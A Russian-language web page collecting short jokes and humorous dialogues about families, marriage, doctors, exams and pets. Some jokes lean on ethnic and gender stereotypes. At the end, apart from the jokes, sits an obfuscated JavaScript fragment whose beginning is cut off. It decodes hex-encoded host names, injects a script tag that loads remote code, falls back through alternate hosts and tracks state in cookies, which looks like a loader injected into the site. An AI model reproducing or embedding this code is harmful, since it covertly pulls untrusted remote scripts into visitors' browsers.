Посреди недели.

Один ребенок в доме — это бандит! Двое — организованная группировка! Бабушки и дедушки — могущественные покровители! Кошка — партизан-диверсант. Папа — политический лидер, А мама пока не определилась — она карательный орган или жертва беспредела!

Ваше предложение еще остается в силе?

Да.

Тогда я снова отказываюсь.

У женщины умер муж. Она пошла на спиритический сеанс, переговорить с духом мужа:

— Как тебе там?

— Все хорошо, не беспокойся.

— Тебе там лучше, чем со мной?

— Да, гораздо лучше

Жена обижено: — Да, конечно: рай есть рай

— Какой рай! ? Я в аду!

— Ты почему такой худой? Ты голодаешь?

— Конституция такая.

— В смысле, строение тела?

— В смысле — основной закон государства.

— Дядя Витя, а чем отличаются ум и хитрость?

— Ум позволяет решать сложные проблемы, а хитрость позволяет их обходить.

— А что полезней?

— Полезней всего — интеллект. Он позволяет выбирать что лучше: решать проблемы или обходить и не лезть не в свое дело.

Подбегает дочь к папе и говорит:

— Папа, папа давай уедем с этого дома.

— Почему?

— Мне служанка сказала, что тут водятся призраки.

Папа в страхе:

— Дочка, собирайся немедленно.

— Почему пап?

— Потому что у нас нет служанок!!!

Жизнь в доме текла спокойно, пока моя жена не увидела, как соседка моет общий холл шваброй, на которую накручены мои трусы.

У папуаса спрашивают:

— Как вы кокосы с пальм собираете?

— А мы их и не собираем. Когда дует ветер, они сами падают.

— А когда ветра нет?

— Ну... тогда неурожай.

Милиция повязала группу мошенников, продающих дипломы в метро. Нам пришлось их отпустить, — заявил доктор экономических наук сержант Иванов.

— Ну вот не сдам я ЕГЭ и что дальше?

— А дальше метлу в руки и ты "дизайнер по ландшафту"!

Англичанка, француженка и русская на собеседовании перед конкурсом красоты. Вопрос: Представьте себе, что вы попали на необитаемый остров с 20 мужчинами. Ваши действия?

Англичанка:

— Я буду молиться Богу, чтобы он меня спас!

Француженка:

— Я выберу самого сильного, и он будет меня защищать!

Русская:

— Вопрос я поняла, а в чем проблема?

- Господи, ну десять – это же очень много! Давай парочку уберем. Ну, хотя бы вот это: «Не прелюбодействуй».

- Моисей! Не торгуйся!

- И шо?! Где здесь написано – не торгуйся?

Сколько о себе не рассказывай, За спиной расскажут интереснее!

Сегодня ночью ко мне в дом залез вор… Искал деньги… Я встал и искал с ним… договорились, если найдем поделимся.

Больница. Хирург подкалывает патологоанатома:

— Вы единственный врач, который ни разу не сделал своим пациентам лучше.

Патологоанатом парирует:

— Я единственный врач в больнице, который ни разу не сделал своим пациентам хуже.

Две подруги вконтакте:

- Привет! Как выходные?

- Удались!

- Сама удались, овца...

Первый ребенок – стираем, гладим, кипятим.

Второй ребенок – стираем, иногда гладим, смотрим, чтобы не ел из миски кота.

Третий ребенок – если ребенок поел из миски кота, то это проблемы кота.

От восстания машин нас спасут тетки из бухгалтерии. Вылезаешь из укрытия, видишь сломанный Скайнет и тетя Алевтина «Я ничего не нажимала! »

Я очень хороший повар!  Могу навешать лапшу. Заварить кашу. Подлить масло.

Сколько бы игрушек у ребенка не было, все равно самыми любимыми будут пульт, телефон, провода и кастрюли.

.- Дава! Ты знаешь, что такое кризис среднего возраста?

- И что?

- Это когда ты еще видишь в женщинах молодых козочек, а они уже видят в тебе старого козла.

… И жили они с Розой долго и счастливо 60 лет. 3 года счастливо и 57 долго.

— Ой, Розочка, я ездила в санаторий и познакомилась с интересным мужчинкой! У нас с ним таки очень много общего – гастрит, гипертония и плоскостопие.

— Ой, Фимочка, вам уже за сорок, а вы совсем не женаты!

— Тетя Сима, я вас умоляю, должен же кто-то и для счастья родиться…

— Сёма, я ушла к гинекологу!

— Да Розочка, давай! Покажи им там всем!

— Моня, ты знаешь, шо Яша присутствовал при Сонечкиных родах и таки даже сам перерезал пуповину! А ты бы смог?

— Фаечка, с моей слабой нервной системой я могу присутствовать только при зачатии!

Встречает кошка гнома.

Спрашивает:

- Ты кто?

- Я - гном. Пакостю людям. Гажу везде, порчу вещи, ору по ночам, спать не даю. А ты?

Кошка задумалась:

- Тогда я тоже гном!

Окончание срока годности йогурта означает, что бифидобактерии перешли на сторону зла.

Больница сейчас — это место, где пациенты мешают врачам работать с документацией.

Каким бы авторитетным не был папа, но когда мама не в духе, вся семья по стеночке ходит.

<script type="text/javascript">// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maxpark.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>